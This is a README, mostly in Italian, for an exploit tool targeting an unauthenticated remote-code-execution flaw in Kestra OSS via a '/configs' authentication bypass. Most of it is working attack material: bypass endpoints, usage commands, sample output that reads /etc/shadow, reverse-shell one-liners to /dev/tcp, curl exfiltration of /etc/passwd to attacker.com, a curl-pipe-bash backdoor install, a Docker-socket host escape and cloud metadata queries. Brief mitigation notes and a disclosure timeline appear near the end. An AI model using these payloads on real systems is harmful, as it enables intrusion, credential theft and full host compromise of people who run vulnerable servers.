
Kestra Unauthenticated RCE Exploit (CVE-2026-53576)
Bypass critico dell'autenticazione che consente l'esecuzione di codice remoto non autenticata
Questo strumento è destinato esclusivamente a test di sicurezza educativi e autorizzati.
- NON usarlo contro sistemi che non possiedi o per i quali non hai un'esplicita autorizzazione scritta al test.
- NON usarlo per attività illegali.
- L'autore NON è responsabile di qualsiasi uso improprio di questo strumento.
- Usalo a TUO RISCHIO.
CVE-2026-53576 è una vulnerabilità critica in Kestra OSS fino alla versione v1.3.20 che consente l'esecuzione di codice remoto non autenticata tramite un bypass del filtro di autenticazione.
Il filtro di autenticazione in Kestra contiene un difetto logico critico:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Questo controlla se qualsiasi richiesta API termina con /configs, invece di corrispondere alla rotta esatta. Ciò consente agli aggressori di bypassare l'autenticazione aggiungendo /configs a qualsiasi endpoint.
POST /api/v1/main/flows/configs (bypassa l'autenticazione)POST /api/v1/main/executions/configs/configs (bypassa l'autenticazione)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Output:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
Un aggressore non autenticato può:
Eseguire comandi arbitrari come root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Spostarsi sul sistema host (se il socket Docker è montato):
docker run -v /:/host --privileged alpine chroot /host
Accedere ai metadati cloud (se si è su un provider cloud):
curl http://169.254.169.254/latest/meta-data/
Spegnere le istanze vulnerabili:
sudo systemctl stop kestra
Bloccare l'accesso pubblico:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Applicare regole firewall:
Aggiornare Kestra all'ultima versione corretta:
Implementare un'autenticazione corretta:
Hardening dei container:
/var/run/docker.sockHardening della rete:
| Data | Evento |
|---|---|
| 2026-05-26 | Vulnerabilità scoperta |
| 2026-06-03 | Advisory di sicurezza Kestra pubblicato |
| 2026-06-10 |
MIT License
Copyright (c) 2026 Security Researcher
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Se trovi utile questo strumento:
⚠️ USA IN MODO RESPONSABILE ⚠️
Segnala una vulnerabilità • Informativa sulla sicurezza • Contatto
| Attributo | Valore |
|---|
| ID CVE | CVE-2026-53576 |
| Gravità | Critica (9.8 CVSS) |
| Tipo di vulnerabilità | Bypass dell'autenticazione + RCE |
| Prodotto interessato | Kestra OSS |
| Versioni interessate | ≤ v1.3.20 |
| Vettore di attacco | Rete |
| Autenticazione richiesta | Nessuna |
| Interazione dell'utente | Nessuna |
| Opzione | Descrizione |
|---|
target | Indirizzo IP o hostname del target (obbligatorio) |
-p, --port | Porta (predefinita: 8080) |
--https | Usa HTTPS invece di HTTP |
-c, --command | Comando personalizzato da eseguire |
--docker-check | Verifica l'accesso al socket Docker |
--cleanup | Elimina il flusso dopo lo sfruttamento |
--delay | Ritardo tra le richieste (predefinito: 2s) |
| Categoria | Gravità | Descrizione |
|---|
| Riservatezza | ⚠️ Critica | Leggere qualsiasi file (password, segreti, configurazioni) |
| Integrità | ⚠️ Critica | Creare/modificare/eliminare flussi e dati |
| Disponibilità | ⚠️ Alta | Arresto del sistema, esaurimento delle risorse |
| Autenticazione | ⚠️ Critica | Bypass completo dell'autenticazione di base (Basic-Auth) |
| Escalation dei privilegi | ⚠️ Critica | I comandi vengono eseguiti come root (uid=0) |
| Fuga dal container | ⚠️ Critica | Compromissione dell'host tramite il socket Docker |
| Assegnato il CVE-2026-53576 |
| 2026-06-15 | Divulgazione pubblica |
| 2026-08-01 | PoC pubblicato |